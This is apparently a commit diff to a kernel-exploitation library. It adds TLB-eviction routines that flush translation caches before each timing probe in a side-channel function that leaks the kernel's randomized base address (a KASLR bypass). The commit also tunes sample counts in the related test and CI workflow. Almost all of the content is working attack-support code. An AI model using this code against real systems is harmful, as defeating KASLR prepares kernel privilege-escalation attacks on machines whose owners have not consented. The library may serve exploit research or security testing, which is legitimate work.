fixup: tlb flush

Author: GJL

.github/workflows/test-libxdk.yml

@@ -104,7 +104,7 @@ jobs:
       - name: Test libxdk (QEMU)
         if: ${{ success() || failure() }}
         working-directory: ./libxdk
-        run: CUSTOM_MODULES_KEEP=1 timeout 20m ./run_tests.sh ${{ steps.vars.outputs.target }} 200 --tap
+        run: CUSTOM_MODULES_KEEP=1 timeout 20m ./run_tests.sh ${{ steps.vars.outputs.target }} 20 --tap
 
       - name: Move test results to separate dir
         if: ${{ success() || failure() }}

libxdk/test/tests/UtilsRuntimeTests.h

@@ -38,7 +38,7 @@ class UtilsRuntimeTests: public TestSuite {
         int incorrect = 0;
         for (int i = 0; i < total; i++) {
             std::vector<std::vector<uint64_t>> debug_data;
-            uint64_t actual = leak_kaslr_base(100, 7, &debug_data);
+            uint64_t actual = leak_kaslr_base(20, 3, &debug_data);
             if (actual != expected) {
                printf("Iteration: %d failed, expected %llx, got %llx\n", i, expected, actual);
 

libxdk/util/pwn_utils.cpp

@@ -25,6 +25,7 @@
 #include <sys/syscall.h>
 #include <unistd.h>
 #include <immintrin.h>
+#include <string.h>
 
 bool is_kaslr_base(uint64_t kbase_addr) {
     if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000)
@@ -148,6 +149,69 @@ uint64_t sidechannel(uint64_t addr) {
     return delta;
 }
 
+#define _TLB_BUFFER_LENGTH (16 * 1024 * 1024)
+static char _tlb_buffer1[_TLB_BUFFER_LENGTH] = {0};
+static char _tlb_buffer2[_TLB_BUFFER_LENGTH] = {0};
+volatile char* _tlb_l1e, *_tlb_l2s;
+
+static char* _align_page_address(char *address, size_t align)
+{
+	uint64_t target = (uint64_t) address;
+	uint64_t aligned;
+
+	aligned = target + (align - (target & (align - 1)));
+
+	return (char *)aligned;
+}
+
+static void evict_l1_tlb_set(size_t set)
+{
+	size_t index, i;
+	volatile char *eviction, *p = _tlb_l1e;
+
+	for (i = 0; i < 4; ++i) {
+		index = (set + (i * 16)) << 12;
+		eviction = (char *)((size_t) p | index);
+		*eviction = 0x5A;
+	}
+}
+
+static void evict_l2_tlb_set(size_t set)
+{
+	size_t index, i;
+	volatile char *eviction, *p = _tlb_l2s;
+
+	for (i = 0; i < 4; ++i) {
+		index = (set + (i * 128)) << 12;
+		eviction = (char *)((size_t) p | index);
+		*eviction = 0x5A;
+	}
+}
+
+static void evict_l1_tlb_all(void)
+{
+	for (size_t set = 0; set < 128; set++) {
+		evict_l1_tlb_set(set);
+	}
+}
+
+void tlb_flush(void) {
+	for (size_t set = 0; set < 128; set++) {
+		evict_l1_tlb_all();
+		evict_l2_tlb_set(set);
+	}
+
+  asm volatile("lfence");
+}
+
+void tlb_init(void) {
+  memset(_tlb_buffer1, 2, _TLB_BUFFER_LENGTH);
+  memset(_tlb_buffer2, 2, _TLB_BUFFER_LENGTH);
+
+	_tlb_l1e = _align_page_address((char*) &_tlb_buffer1, 0x40000);
+	_tlb_l2s = _align_page_address((char*) &_tlb_buffer2, 0x40000);
+}
+
 std::pair<std::optional<uint64_t>, std::vector<uint64_t>> try_leak_kaslr_base(int samples) {
     size_t slots = (KASLR_END - KASLR_START) / KASLR_SLOT_SIZE;
     std::vector<std::vector<uint64_t>> all_timings(slots);
@@ -158,6 +222,7 @@ std::pair<std::optional<uint64_t>, std::vector<uint64_t>> try_leak_kaslr_base(in
     for (int i = 0; i < samples; i++) {
         for (size_t slot = 0; slot < slots; slot++) {
             uint64_t addr = slot_to_addr(slot);
+            tlb_flush();
             uint64_t timing = sidechannel(addr);
             all_timings[slot].push_back(timing);
         }
@@ -208,6 +273,7 @@ std::optional<uint64_t> find_majority(const std::vector<std::optional<uint64_t>>
 }
 
 uint64_t leak_kaslr_base(int samples, int trials, std::vector<std::vector<uint64_t>>* debug_data) {
+    tlb_init();
     std::vector<std::optional<uint64_t>> slots(trials);
     for (int attempt = 0; attempt < KASLR_MAX_ATTEMPTS; attempt++) {
         for (int trial = 0; trial < trials; trial++) {